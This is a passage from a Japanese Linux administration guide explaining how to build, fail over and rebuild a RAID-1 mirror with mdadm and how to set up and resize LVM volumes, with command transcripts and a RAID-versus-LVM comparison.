mdadm: Defaulting to version 1.2 metadata
mdadm: array /dev/md1 started.
# mdadm --query /dev/md1
/dev/md1: 4.00GiB raid1 2 devices, 0 spares. Use mdadm --detail for more detail.
# mdadm --detail /dev/md1
/dev/md1:
        Version : 1.2
  Creation Time : Wed May  6 09:30:19 2015
     Raid Level : raid1
     Array Size : 4192192 (4.00 GiB 4.29 GB)
  Used Dev Size : 4192192 (4.00 GiB 4.29 GB)
   Raid Devices : 2
  Total Devices : 2
```

```
    Persistence : Superblock is persistent

    Update Time : Wed May  6 09:30:40 2015
          State : clean, resyncing (PENDING)
 Active Devices : 2
Working Devices : 2
 Failed Devices : 0
  Spare Devices : 0

           Name : mirwiz:1  (local to host mirwiz)
           UUID : 6ec558ca:0c2c04a0:19bca283:95f67464
         Events : 0

    Number   Major   Minor   RaidDevice State
       0       8       50        0      active sync   /dev/sdd2
       1       8       64        1      active sync   /dev/sde
# mdadm --detail /dev/md1
/dev/md1:
[...]
          State : clean
[...]
```

TIP
RAID、ディスク、パーティション

上の例で示した通り、RAID デバイスはディスクパーティションに作成することが可能です。必ずディスク全体を使わなければいけないというわけではありません。

いくつかの注意点があります。最初に、mdadm は物理デバイス同士のサイズが異なる点を指摘しています。さらに、このことによりサイズが大きい側のデバイスの一部の領域が使えなくなるため、確認が求められています。

さらに重要なことは、ミラーの状態に注意することです。RAID ミラーの正常な状態とは、両方のディスクが全く同じ内容を持っている状態です。しかしながら、ボリュームを最初に作成した直後の RAID ミラーは正常な状態であることを保証されません。このため、RAID サブシステムは RAID ミラーの正常な状態を保証するために、RAID デバイスが作成されたらすぐに同期化作業を始めます。しばらくの後 (必要な時間はディスクの実サイズに依存します)、RAID アレイは「active」または「clean」状態に移行します。同期化作業中、ミラーは信頼性低下状態で、冗長性は保証されない点に注意してください。同期化作業中にディスク障害が起きると、すべてのデータを失うことにつながる恐れがあります。しかしながら、最近作成された RAID アレイの最初の同期化作業の前に大量の重要なデータがこの RAID アレイに保存されていることはほとんどないでしょう。信頼性低下状態であっても /dev/md1 を利用することが可能で、ファイルシステムを作成したり、データのコピーを取ったりすることが可能という点に注意してください。

TIP
信頼性低下状態でミラーを開始する

RAID-1 ミラーを構成する 2 台のディスクの両方をすぐに使えないことが時々あります。たとえば、ミラーを構成するディスクの片方にミラーに移動したいデータが既に保存されている場合です。このような場合、mdadm に渡すデバイスファイル引数の片方をデバイスファイルの代わりに missing にすることで、意図的に信頼性低下状態の RAID-1 アレイを作成することも可能です。ミラーに移動したいデータを含むディスクからデータを「ミラー」にコピーした後、そのディスクをアレイに追加することが可能です。追加作業が終われば、同期化作業が行われ、ミラーに移動したかったデータの冗長性が確保されます。

TIP

同期化作業を行わずにミラーをセットアップする

通常 RAID-1 ボリュームは新しいディスクとして使うために作成され、RAID-1 ボリュームの作成直後にはデータが保存されていないと考えられます。すなわち、RAID-1 ボリュームの初期内容に価値はなく、RAID-1 で保護したい重要なデータは RAID-1 ボリュームの作成後に書き込まれるデータというわけです。

そう考えると、RAID-1 ボリュームにデータが書き込まれる前に RAID-1 ボリュームを構成するディスクの内容が同期されるという点について疑問に思うかもしれません。RAID-1 ボリュームに書き込んでいないデータは後から読み込まれることもないのにも関わらず、なぜ RAID-1 ボリュームの作成時に RAID-1 ボリュームを構成するディスクの内容の同期化作業が必要なのでしょうか?

幸いなことに、RAID-1 を構成するディスクの内容の同期化作業は `--assume-clean` オプションを `mdadm` に渡せば避けることが可能です。しかしながら、初期データが読まれる場合、`--assume-clean` オプションを使うと問題があります (たとえば、物理ディスク上にファイルシステムが既に存在している場合、問題があります)。このため、デフォルトでこのオプションは有効化されません。

RAID-1 アレイを構成するディスクの 1 台に障害が発生した場合、何が起きるかを見て行きましょう。`mdadm` に `--fail` オプションを付けることで、ディスク障害を模倣することが可能です。

```
# mdadm /dev/md1 --fail /dev/sde
mdadm: set /dev/sde faulty in /dev/md1
# mdadm --detail /dev/md1
/dev/md1:
[...]
    Update Time : Wed May  6 09:39:39 2015
          State : clean, degraded
 Active Devices : 1
Working Devices : 1
 Failed Devices : 1
  Spare Devices : 0

           Name : mirwiz:1  (local to host mirwiz)
           UUID : 6ec558ca:0c2c04a0:19bca283:95f67464
         Events : 19

    Number   Major   Minor   RaidDevice State
       0       8       50        0      active sync   /dev/sdd2
       2       0        0        2      removed

       1       8       64        -      faulty   /dev/sde
```

RAID-1 ボリュームの内容はまだアクセスすることが可能ですが (そして、RAID-1 ボリュームがマウントされていた場合、アプリケーションはディスク障害に気が付きませんが)、データの安全性はもはや保証されません。つまり sdd ディスクにも障害が発生した場合、データは失われます。この危険性を避けるために、障害の発生したディスクを新しいディスク sdf に交換します。

```
# mdadm /dev/md1 --add /dev/sdf
mdadm: added /dev/sdf
# mdadm --detail /dev/md1
/dev/md1:
```

```
[...]
   Raid Devices : 2
  Total Devices : 3
    Persistence : Superblock is persistent

    Update Time : Wed May  6 09:48:49 2015
          State : clean, degraded, recovering
 Active Devices : 1
Working Devices : 2
 Failed Devices : 1
  Spare Devices : 1

 Rebuild Status : 28% complete

           Name : mirwiz:1  (local to host mirwiz)
           UUID : 6ec558ca:0c2c04a0:19bca283:95f67464
         Events : 26

    Number   Major   Minor   RaidDevice State
       0       8       50        0      active sync   /dev/sdd2
       2       8       80        1      spare rebuilding   /dev/sdf

       1       8       64        -      faulty   /dev/sde
# [...]
[...]
# mdadm --detail /dev/md1
/dev/md1:
[...]
    Update Time : Wed May  6 09:49:08 2015
          State : clean
 Active Devices : 2
Working Devices : 2
 Failed Devices : 1
  Spare Devices : 0

           Name : mirwiz:1  (local to host mirwiz)
           UUID : 6ec558ca:0c2c04a0:19bca283:95f67464
         Events : 41

    Number   Major   Minor   RaidDevice State
       0       8       50        0      active sync   /dev/sdd2
       2       8       80        1      active sync   /dev/sdf

       1       8       64        -      faulty   /dev/sde
```

繰り返しになりますが、ボリュームはまだアクセスすることが可能とは言うもののボリュームが信頼性低下状態ならば、カーネルは自動的に再構成作業を実行します。再構成作業が終了したら、RAID アレイは正常状態に戻ります。ここで、システムに sde ディスクをアレイから削除することを伝えることが可能です。削除することで、2 台のディスクからなる古典的な RAID ミラーになります。

```
# mdadm /dev/md1 --remove /dev/sde
mdadm: hot removed /dev/sde from /dev/md1
# mdadm --detail /dev/md1
/dev/md1:
[...]
    Number   Major   Minor   RaidDevice State
       0       8       50        0      active sync   /dev/sdd2
       2       8       80        1      active sync   /dev/sdf
```

この後、今後サーバの電源を切った際にドライブを物理的に取り外したり、ハードウェア設定がホットスワップに対応しているならばドライブをホットリムーブすることが可能です。一部の SCSI コントローラ、多くの SATA ディスク、USB や Firewire で接続された外部ドライブなどはホットスワップに対応しています。

設定のバックアップ

RAID ボリュームに関連するメタデータのほとんどはアレイを構成するディスク上に直接保存されています。このため、カーネルはアレイとその構成要素を検出し、システムの起動時に自動的にアレイを組み立てることが可能です。しかしながら、この設定をバックアップすることを推奨します。なぜなら、この検出機構は不注意による間違いを防ぐものではないからです。そして、注意して取り扱うべき状況ではまさに検出機構がうまく働かないことが見込まれます。上の例で、sde ディスク障害が本物で (模倣でない)、sde ディスクを取り外す前にシステムを再起動した場合、sde ディスクは再起動中に検出され、システムに復帰します。カーネルは 3 つの物理ディスクを検出し、それぞれのディスクが同じ RAID ボリュームの片割れであると主張します。さらに別の混乱する状況が考えられます。2 台のサーバで使われていた RAID ボリュームを片方のサーバに集約することを考えてみましょう。ディスクが移動される前、各アレイは正常に実行されていました。カーネルはアレイを検出して、適切なペアを組み立てることが可能です。しかし、片方のサーバに移動されたディスクが前のサーバでは md1 に組み込まれており、さらに新しいサーバが既に md1 という名前のアレイを持っていた場合、どちらか一方の名前が変えられます。

このため、参考情報に過ぎないとは言うものの、設定を保存することは重要です。設定を保存する標準的な方法は /etc/mdadm/mdadm.conf ファイルを編集することです。以下に例を示します。

例 12.1　mdadm 設定ファイル

```
# mdadm.conf
#
# このファイルに関する詳細は mdadm.conf(5) を参照してください。
#

# デフォルト（組み込み）状態ならば、MD スーパーブロックを持つパーティション
# (/proc/partitions) とコンテナをすべてスキャンします。以下のようにスキャンする
# デバイスを指定することも可能です。必要ならばワイルドカードを使ってください。
DEVICE /dev/sd*

# デバイスの自動作成時に使う Debian の標準的なパーミッションを指定します
CREATE owner=root group=disk mode=0660 auto=yes
```

```
# 新規アレイの所属先にローカルシステムを自動登録します
HOMEHOST <system>

# 監視デーモンに root を警告メールの送信先として通知します
MAILADDR root

# 既存の MD アレイの定義
ARRAY /dev/md0 metadata=1.2 name=mirwiz:0 UUID=bb085b35:28e821bd:20d697c9:650152bb
ARRAY /dev/md1 metadata=1.2 name=mirwiz:1 UUID=6ec558ca:0c2c04a0:19bca283:95f67464

# この設定ファイルは mkconf 3.2.5-3 により
# Fri, 18 Jan 2013 00:21:01 +0900 に自動生成されました
```

最も役に立つ設定項目の 1 つに DEVICE オプションがあります。これは起動時にシステムが RAID ボリュームの構成情報を自動的に探すデバイスをリストします。上の例では、値をデフォルト値 partitions containers からデバイスファイルを明示したリストに置き換えました。なぜなら、パーティションだけでなくすべてのディスクをボリュームとして使うように決めたからです。

上の例における最後の 2 行を使うことで、カーネルはアレイに割り当てるボリューム番号を安全に選ぶことが可能です。ディスク本体に保存されたメタ情報はボリュームをもう一度組み上げるのに十分ですが、ボリューム番号を定義する (そして /dev/md* デバイス名にマッチすることを確認する) には不十分です。

幸いなことに、以下のコマンドを実行すればこの行を自動的に生成することが可能です。

```
# mdadm --misc --detail --brief /dev/md?
ARRAY /dev/md0 metadata=1.2 name=mirwiz:0 UUID=bb085b35:28e821bd:20d697c9:650152bb
ARRAY /dev/md1 metadata=1.2 name=mirwiz:1 UUID=6ec558ca:0c2c04a0:19bca283:95f67464
```

最後の 2 行の内容はボリュームを構成するディスクのリストに依存しません。このため、障害の発生したディスクを新しいディスクに交換した際に、これをもう一度生成する必要はありません。逆に、RAID アレイを作成および削除した際に、必ずこの設定ファイルを注意深く更新する必要があります。

12.1.2. LVM

LVM (**論理ボリュームマネージャ**) は物理ディスクから論理ボリュームを抽象化するもう一つの方法で、信頼性を増加させるのではなく柔軟性を増加させることに注目しています。LVM を使うことで、アプリケーションから見る限り透過的に論理ボリュームを変更することが可能です。LVM を使うことで、たとえば新しいディスクを追加し、データを新しいディスクに移行し、古いディスクを削除することがボリュームをアンマウントせずに可能です。

LVM の概念

LVM の柔軟性は 3 つの概念から構成された抽象化レベルによって達成されます。

1 番目の概念は PV (**物理ボリューム**) です。PV はハードウェアに最も近い要素です。具体的に言えば、PV はディスクのパーティション、ディスク全体、その他の任意のブロックデバイス (たとえば、RAID アレイ) な

どの物理的要素を指します。物理的要素を LVM の PV に設定した場合、物理的要素へのアクセスは必ず LVM を介すべきという点に注意してください。そうでなければ、システムが混乱します。

2 番目の概念は VG (**ボリュームグループ**) です。複数の PV は VG にクラスタ化することが可能です。VG は仮想的かつ拡張できるディスクに例えられます。VG は概念的な要素で、/dev 階層のデバイスファイルに現れません。そのため、VG を直接的に操作する危険はありません。

3 番目の概念は LV (**論理ボリューム**) です。LV は VG の中の 1 つの塊です。さらに VG をディスクに例えたのと同様の考え方を使うと、LV はパーティションに例えられます。LV はブロックデバイスとして /dev に現れ、他の物理パーティションと同様に取り扱うことが可能です (一般的に言えば、LV にファイルシステムやスワップ領域を作成することが可能です)。

ここで重要な事柄は VG を LV に分割する場合に物理的要素 (PV) はいかなる制約も要求しないという点です。1 つの PV (たとえばディスク) から構成される VG を複数の LV に分割できます。同様に、複数の PV から構成される VG を 1 つの大きな LV として提供することも可能です。制約事項がたった 1 つしかないのは明らかです。それはある VG から分割された LV のサイズの合計はその VG を構成する PV のサイズの合計を超えることができないという点です。

しかしながら、ある VG を構成する PV 同士の性能を同様のものにしたり、その VG から分割された LV 同士に求められる性能を同様のものにしたりすることは通常理に適った方針です。たとえば、利用できるハードウェアに高速な PV と低速な PV がある場合、高速な PV から構成される VG と低速な PV から構成される VG に分けると良いでしょう。こうすることで、高速な PV から構成される VG から分割された LV を高速なデータアクセスを必要とするアプリケーションに割り当て、低速な PV から構成される VG から分割された LV を負荷の少ない作業用に割り当てることが可能です。

いかなる場合でも、LV は特定の PV を使用するわけではないという点を覚えておいてください。ある LV に含まれるデータの物理的な保存場所を操作することも可能ですが、普通に使っている限りその必要はありません。逆に、VG を構成する PV 群の構成要素が変化した場合、ある LV に含まれるデータの物理的な保存場所は対象の LV の分割元である VG の中ひいてはその VG を構成する PV 群の構成要素の中を移動することがあります (もちろん、データの移動先は対象の LV の分割元の VG を構成する PV 群の構成要素の中に限られます)。

LVM の設定

典型的な用途に対する LVM の設定過程を、段階的に見て行きましょう。具体的に言えば、複雑なストレージの状況を単純化したい場合を見ていきます。通常、長く複雑な一時的措置を繰り返した挙句の果てに、この状況に陥ることがあります。説明目的で、徐々にストレージを変更する必要のあったサーバを考えます。このサーバでは、PV として利用できるパーティションが複数の一部使用済みディスクに分散しています。より具体的に言えば、以下のパーティションを PV として利用できます。

- sdb ディスク上の sdb2 パーティション (4 GB)。
- sdc ディスク上の sdc3 パーティション (3 GB)。
- sdd ディスク (4 GB) は全領域を利用できます。
- sdf ディスク上の sdf1 パーティション (4 GB) および sdf2 パーティション (5 GB)。

加えて、sdb と sdf が他の 2 台に比べて高速であると仮定しましょう。

今回の目標は、3 種類の異なるアプリケーション用に 3 つの LV を設定することです。具体的に言えば、5 GB のストレージ領域が必要なファイルサーバ、データベース (1 GB)、バックアップ用の領域 (12 GB) 用の LV

を設定することです。ファイルサーバとデータベースは高い性能を必要とします。しかし、バックアップはアクセス速度をそれほど重要視しません。これらの要件により、各アプリケーションに設定する LV の使用する PV が決定されます。さらに LVM を使いますので、PV の物理的サイズからくる制限はありません。このため、PV 群として利用できる領域のサイズの合計だけが制限となります。

LVM の設定に必要なツールは **lvm2** パッケージとその依存パッケージに含まれています。これらのパッケージをインストールしたら、3 つの手順を踏んで LVM を設定します。各手順は LVM の概念の 3 つの抽象化レベルに対応します。

最初に、pvcreate を使って PV を作成します。

```
# pvdisplay
# pvcreate /dev/sdb2
  Physical volume "/dev/sdb2" successfully created
# pvdisplay
  "/dev/sdb2" is a new physical volume of "4.00 GiB"
  --- NEW Physical volume ---
  PV Name               /dev/sdb2
  VG Name
  PV Size               4.00 GiB
  Allocatable           NO
  PE Size               0
  Total PE              0
  Free PE               0
  Allocated PE          0
  PV UUID               0zuiQQ-j1Oe-P593-4tsN-9FGy-TY0d-Quz31I

# for i in sdc3 sdd sdf1 sdf2 ; do pvcreate /dev/$i ; done
  Physical volume "/dev/sdc3" successfully created
  Physical volume "/dev/sdd" successfully created
  Physical volume "/dev/sdf1" successfully created
  Physical volume "/dev/sdf2" successfully created
# pvdisplay -C
  PV         VG   Fmt  Attr PSize PFree
  /dev/sdb2       lvm2 ---  4.00g 4.00g
  /dev/sdc3       lvm2 ---  3.09g 3.09g
  /dev/sdd        lvm2 ---  4.00g 4.00g
  /dev/sdf1       lvm2 ---  4.10g 4.10g
  /dev/sdf2       lvm2 ---  5.22g 5.22g
```

ここまでは順調です。PV はディスク全体およびディスク上の各パーティションに対して設定することが可能という点に注意してください。上に示した通り、pvdisplay コマンドは既存の PV をリストします。出力フォーマットは 2 種類あります。

vgcreate を使って、これらの PV から VG を構成しましょう。高速なディスクの PV から vg_critical VG を構成します。さらに、これ以外の低速なディスクの PV から vg_normal VG を構成します。

```
# vgdisplay
  No volume groups found
# vgcreate vg_critical /dev/sdb2 /dev/sdf1
  Volume group "vg_critical" successfully created
```

```
# vgdisplay
  --- Volume group ---
  VG Name               vg_critical
  System ID
  Format                lvm2
  Metadata Areas        2
  Metadata Sequence No  1
  VG Access             read/write
  VG Status             resizable
  MAX LV                0
  Cur LV                0
  Open LV               0
  Max PV                0
  Cur PV                2
  Act PV                2
  VG Size               8.09 GiB
  PE Size               4.00 MiB
  Total PE              2071
  Alloc PE / Size       0 / 0
  Free  PE / Size       2071 / 8.09 GiB
  VG UUID               bpq7zO-PzPD-R7HW-V8eN-c10c-S32h-f6rKqp

# vgcreate vg_normal /dev/sdc3 /dev/sdd /dev/sdf2
  Volume group "vg_normal" successfully created
# vgdisplay -C
  VG          #PV #LV #SN Attr   VSize  VFree
  vg_critical   2   0   0 wz--n-  8.09g  8.09g
  vg_normal     3   0   0 wz--n- 12.30g 12.30g
```

繰り返しになりますが、vgdisplay コマンドはかなり簡潔です (そして vgdisplay には 2 種類の出力フォーマットがあります)。同じ物理ディスク上にある 2 つの PV から 2 つの異なる VG を構成することが可能である点に注意してください。また、vg_ 接頭辞を VG の名前に使っていますが、これは慣例に過ぎない点に注意してください。

これでサイズが約 8 GB と約 12 GB の 2 台の「仮想ディスク」(VG) を手に入れたことになります。それでは仮想ディスク (VG) を「仮想パーティション」(LV) に分割しましょう。これを行うには lvcreate コマンドを少し複雑な構文で実行します。

```
# lvdisplay
# lvcreate -n lv_files -L 5G vg_critical
  Logical volume "lv_files" created
# lvdisplay
  --- Logical volume ---
  LV Path                /dev/vg_critical/lv_files
  LV Name                lv_files
  VG Name                vg_critical
  LV UUID                J3V0oE-cBYO-KyDe-5e0m-3f70-nv0S-kCWbpT
  LV Write Access        read/write
  LV Creation host, time mirwiz, 2015-06-10 06:10:50 -0400
  LV Status              available
```

```
  # open                  0
  LV Size                 5.00 GiB
  Current LE              1280
  Segments                2
  Allocation              inherit
  Read ahead sectors      auto
  - currently set to      256
  Block device            253:0

# lvcreate -n lv_base -L 1G vg_critical
  Logical volume "lv_base" created
# lvcreate -n lv_backups -L 12G vg_normal
  Logical volume "lv_backups" created
# lvdisplay -C
  LV         VG          Attr     LSize  Pool Origin Data%  Meta%  Move Log Cpy%Sync
      ➥ Convert
  lv_base    vg_critical -wi-a---  1.00g
  lv_files   vg_critical -wi-a---  5.00g
  lv_backups vg_normal   -wi-a--- 12.00g
```

LV を作成する場合、2 種類のパラメータが必要です。このため、必ず 2 種類のパラメータをオプションとして lvcreate に渡します。作成する LV の名前を -n オプションで指定し、サイズを -L オプションで指定します。また、操作対象の VG をコマンドに伝えることが必要です。これはもちろん最後のコマンドラインパラメータです。

GOING FURTHER

lvcreate のオプション

lvcreate コマンドは複数のオプションを取り、作成する LV を微調整することが可能です。

最初に -l オプションについて説明しましょう。-l オプションを使った場合 LV のサイズをブロック数 (上の例で用いた「人間にとって分かりやすい」単位ではありません) で指定することが可能です。ブロックとは (LVM の用語で PE すなわち**物理エクステント**と呼ばれています) PV 中のストレージ領域の連続した単位です。ブロックは LV 中に分散されています。ある LV 用のストレージ領域を正確に定義したい場合、たとえば利用できる領域のすべてを使いたい場合、-l オプションのほうが -L オプションよりも使いやすいでしょう。

LV の物理的な位置を示唆することも可能です。こうすることで、LV の PE は特定の PV 上 (もちろん、VG を構成する PV 上に限ります) に作成されます。sdb は sdf よりも高速なので、lv_base を sdb 上に作成することでファイルサーバよりもデータベースサーバが高速にアクセスできるようにするには、以下のコマンドラインを使います。すなわち lvcreate -n lv_base -L 1G vg_critical /dev/sdb2 です。指定した PV に十分な空き PE がない場合、このコマンドは失敗する可能性があります。今回の例でこのような失敗を防ぐには lv_files の前に lv_base を作成するか、pvmove コマンドを使って sdb2 に多少の領域を空ける必要があるかもしれません。

LV が作成され、ブロックデバイスファイルとして /dev/mapper/ に現れます。

```
# ls -l /dev/mapper
合計 0
crw------- 1 root root 10, 236  6月 10 16:52 control
lrwxrwxrwx 1 root root       7  6月 10 17:05 vg_critical-lv_base -> ../dm-1
lrwxrwxrwx 1 root root       7  6月 10 17:05 vg_critical-lv_files -> ../dm-0
lrwxrwxrwx 1 root root       7  6月 10 17:05 vg_normal-lv_backups -> ../dm-2
```

```
# ls -l /dev/dm-*
brw-rw---T 1 root disk 253, 0  6月 10 17:05 /dev/dm-0
brw-rw---- 1 root disk 253, 1  6月 10 17:05 /dev/dm-1
brw-rw---- 1 root disk 253, 2  6月 10 17:05 /dev/dm-2
```

NOTE

LVM ボリュームの自動検出

コンピュータの起動時に、lvm2-activation systemd サービスユニットは vgchange -aay を実行して VG を「始動」します。具体的に言えば、lvm2-activation systemd サービスユニットは利用できるデバイスを探します。そして LVM サブシステムに LVM 用の PV として初期化されたデバイスが登録され、PV から構成される VG が開始され、VG から分割された LV が開始され、LV が利用できるようになります。このため、LVM ボリュームを作成したり変更する際に設定ファイルを編集する必要はありません。

しかしながら、LVM 要素 (PV、LV、GV) の配置図は /etc/lvm/backup にバックアップされ、問題が起きた時 (見えないところで何が行われているかを確認したい時) に有益です。

ブロックデバイスファイルを分かり易くするために、VG に対応するディレクトリの中に便利なシンボリックリンクが作成されます。

```
# ls -l /dev/vg_critical
合計 0
lrwxrwxrwx 1 root root 7  6月 10 17:05 lv_base -> ../dm-1
lrwxrwxrwx 1 root root 7  6月 10 17:05 lv_files -> ../dm-0
# ls -l /dev/vg_normal
合計 0
lrwxrwxrwx 1 root root 7  6月 10 17:05 lv_backups -> ../dm-2
```

LV は標準的なパーティションと全く同様に取り扱われます。

```
# mkfs.ext4 /dev/vg_normal/lv_backups
mke2fs 1.42.12 (29-Aug-2014)
Creating filesystem with 3145728 4k blocks and 786432 inodes
Filesystem UUID: b5236976-e0e2-462e-81f5-0ae835ddab1d
[...]
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done
# mkdir /srv/backups
# mount /dev/vg_normal/lv_backups /srv/backups
# df -h /srv/backups
ファイルシス                      サイズ   使用   残り 使用% マウント位置
/dev/mapper/vg_normal-lv_backups    12G   30M   12G    1% /srv/backups
# [...]
[...]
# cat /etc/fstab
[...]
/dev/vg_critical/lv_base    /srv/base       ext4 defaults 0 2
/dev/vg_critical/lv_files   /srv/files      ext4 defaults 0 2
/dev/vg_normal/lv_backups   /srv/backups    ext4 defaults 0 2
```

アプリケーションにしてみれば、無数の小さなパーティションがわかり易い名前を持つ 1 つの大きな 12 GB のボリュームにまとめられたことになります。

経時変化に伴う LVM の利便性

LVM のパーティションや物理ディスクを統合する機能は便利ですが、これは LVM のもたらす主たる利点ではありません。時間経過に伴い LVM のもたらす柔軟性が特に重要になる時とは LV のサイズを増加させる必要が生じた時でしょう。ここまでの例を使い、LV に新たに巨大なファイルを保存したいけれども、ファイルサーバ用の LV はこの巨大なファイルを保存するには狭すぎると仮定しましょう。vg_critical から分割できる全領域はまだ使い切られていないので、lv_files のサイズを増やすことが可能です。LV のサイズを増やすために lvresize コマンドを使い、LV のサイズの変化にファイルシステムを対応させるために resize2fs を使います。

```
# df -h /srv/files/
ファイルシス                      サイズ  使用  残り 使用% マウント位置
/dev/mapper/vg_critical-lv_files   5.0G  4.6G  146M   97% /srv/files
# lvdisplay -C vg_critical/lv_files
  LV       VG          Attr     LSize Pool Origin Data%  Meta%  Move Log Cpy%Sync
      ➥ Convert
  lv_files vg_critical -wi-ao-- 5.00g
# vgdisplay -C vg_critical
  VG          #PV #LV #SN Attr   VSize VFree
  vg_critical   2   2   0 wz--n- 8.09g 2.09g
# lvresize -L 7G vg_critical/lv_files
  Size of logical volume vg_critical/lv_files changed from 5.00 GiB (1280 extents) to
      ➥ 7.00 GiB (1792 extents).
  Logical volume lv_files successfully resized
# lvdisplay -C vg_critical/lv_files
  LV       VG          Attr     LSize Pool Origin Data%  Meta%  Move Log Cpy%Sync
      ➥ Convert
  lv_files vg_critical -wi-ao-- 7.00g
# resize2fs /dev/vg_critical/lv_files
resize2fs 1.42.12 (29-Aug-2014)
Filesystem at /dev/vg_critical/lv_files is mounted on /srv/files; on-line resizing
    ➥ required
old_desc_blocks = 1, new_desc_blocks = 1
The filesystem on /dev/vg_critical/lv_files is now 1835008 (4k) blocks long.

# df -h /srv/files/
ファイルシス                      サイズ  使用  残り 使用% マウント位置
/dev/mapper/vg_critical-lv_files   6.9G  4.6G  2.1G   70% /srv/files
```

CAUTION

ファイルシステムのサイズ変更

すべてのファイルシステムがオンラインでサイズを変更できるわけではありません。このため、ボリュームのサイズ変更前にファイルシステムをアンマウントし、ボリュームのサイズ変更後に再マウントしなければいけません。もちろん、ボリュームのサイズを小さくする場合、ボリューム上のファイルシステムのサイズを小さくした後にボリュームのサイズを小さくしなければいけません。ボリュームのサイズを大きくする場合、ボリュームのサイズを大きくした後にボリューム上のファイルシステムを大きくしなければいけません。これはかなりわかり易いです。なぜなら、ブロックデバイス上に存在するファイルシステムのサイズをブロックデバイスよりも大きくすることは絶対に不可能だからです (この原則はボリュームが物理パーティションか LV かに依存しません)。

ext3、ext4、xfs ファイルシステムはオンラインでサイズを増加させることすなわちアンマウントすることなくサイズを増加させることが可能です。しかし、サイズを減少させる場合はアンマウントを必要とします。reiserfs はオンラインでサイズを増加および減少することが可能です。ext2 は増加も減少も可能ですが、アンマウントを必要とします。

同様の方法でデータベースをホストしている lv_base のサイズを増加させます。以下の通り lv_base の分割元である vg_critical から分割できる領域は既にほぼ使い切った状態になっています。

```
# df -h /srv/base/
ファイルシス                    サイズ  使用  残り 使用% マウント位置
/dev/mapper/vg_critical-lv_base  1008M  854M  104M   90% /srv/base
# vgdisplay -C vg_critical
  VG          #PV #LV #SN Attr   VSize VFree
  vg_critical   2   2   0 wz--n- 8.09g 92.00m
```

でもご安心ください。LVM を使っていれば新しい PV を既存の VG を構成する PV の 1 つとして追加することが可能です。たとえば、今までは LVM の外で管理されていた sdb1 パーティションには、lv_backups に移動しても問題のないアーカイブだけが含まれていた点に気が付いたとしましょう。このため、sdb1 パーティションを vg_critical を構成する PV の 1 つとして再利用することが可能です。こうすることで、vg_critical から lv_base に分割される領域のサイズを増やすことが可能です。これが vgextend コマンドの目的です。もちろん、事前に sdb1 パーティションを PV として準備しなければいけません。vg_critical を拡張したら、先と同様のコマンドを使って先に lv_base のサイズを増加させ、その後に lv_base 上のファイルシステムのサイズを増加させます。

```
# pvcreate /dev/sdb1
  Physical volume "/dev/sdb1" successfully created
# vgextend vg_critical /dev/sdb1
  Volume group "vg_critical" successfully extended
# vgdisplay -C vg_critical
  VG          #PV #LV #SN Attr   VSize VFree
  vg_critical   3   2   0 wz--n- 9.09g 1.09g
# [...]
[...]
# df -h /srv/base/
ファイルシス                    サイズ  使用  残り 使用% マウント位置
/dev/mapper/vg_critical-lv_base   2.0G  854M  1.1G   45% /srv/base
```

GOING FURTHER

LVM の上級活用

LVM にはさらに上級の使い方があり、多くの設定事項を手作業で指定することが可能です。たとえば、管理者は PV と LV のブロックサイズおよびボリュームの物理的な配置を微調整することが可能です。また、ブロックを PV 間で移動することも可能です。これは、たとえば性能を微調整したり、よりありふれたケースではある物理ディスクに対応する PV を VG の構成要素から外したりするため (PV を別の VG に移動したり、完全に LVM から取り外したりするため) に行われます。コマンドを説明しているマニュアルページは基本的に明快で詳細です。手始めに、lvm(8) マニュアルページを参照することをお勧めします。

12.1.3. RAID それとも LVM?

1 番目の利用形態は用途が時間的に変化しない 1 台のハードディスクを備えたデスクトップコンピュータのような単純な利用形態です。この場合 RAID と LVM はどちらも疑う余地のない利点をもたらします。しかしながら、RAID と LVM は目標を分岐させて別々の道を歩んでいます。どちらを使うべきか悩むのは間違っていることではありません。最も適切な答えはもちろん現在の要求と将来に予測される要求に依存します。

いくつかの状況では、疑問の余地がないくらい簡単に答えを出すことが可能です。2 番目の利用形態はハードウェア障害からデータを保護することが求められる利用形態です。この場合、ディスクの冗長性アレイ上に RAID をセットアップするのは明らかです。なぜなら LVM はこの種の問題への対応策を全く用意していないからです。逆に、柔軟なストレージ計画が必要でディスクの物理的な配置に依存せずにボリュームを構成したい場合、RAID はあまり役に立たず LVM を選ぶのが自然です。

NOTE

性能が重要な場合

特にアクセス速度という意味の入出力速度が最重要な場合を考えてみましょう。LVM および RAID はどのような組み合わせで使っても性能にある程度の影響をおよぼします。このため、どの組み合わせを採用するかが議題に挙げられるかもしれません。しかしながら、どんな組み合わせを使っても性能差は極めて少なく、この程度の性能差が無視できない場合は極めて少ないと言えるでしょう。性能が重要な場合、実現できる最良の改善方針は非回転ストレージメディア (**ソリッドステートドライブ**すなわち SSD) を使うことです。SSD のメガバイト当たりの費用は標準的なハードディスクドライブよりも高価で、SSD の容量は通常小さいですが、SSD はランダムアクセスで素晴らしい性能を発揮します。ファイルシステムに広く分散された位置から数多くの入出力を行うような場合 (たとえば複雑な問い合わせが定期的に実行されるデータベースの場合)、SSD 上にデータベースを置くほうが RAID over LVM または LVM over RAID 上にデータベースを置くよりも良好な性能が手に入ります。このような場合、純粋な速度だけでなく他の要素も検討した上で採用の可否を決定するべきです。なぜなら、性能が必要な場合に SSD を採用することは最も安直な解決策だからです。

3 番目に注目すべき利用形態は単に 2 つのディスクを 1 つのボリュームにまとめるような利用形態です。性能が欲しかったり、利用できるディスクのどれよりも大きな単一のファイルシステムにしたい場合にこの利用形態が採用されます。この場合、RAID-0 (またはリニア RAID) か LVM ボリュームを使って対処できます。この状況では、追加的な制約事項 (たとえば、他のコンピュータが RAID だけを使っている場合に RAID を使わなければいけないなどの制約事項) がなければ、通常 LVM を選択すると良いでしょう。LVM の最初のセットアップは RAID に比べて複雑ですが、LVM は複雑度を少し増加させるだけで要求が変った場合や新しいディスクを追加する必要ができた場合に対処可能な追加的な柔軟性を大きく上昇させます。

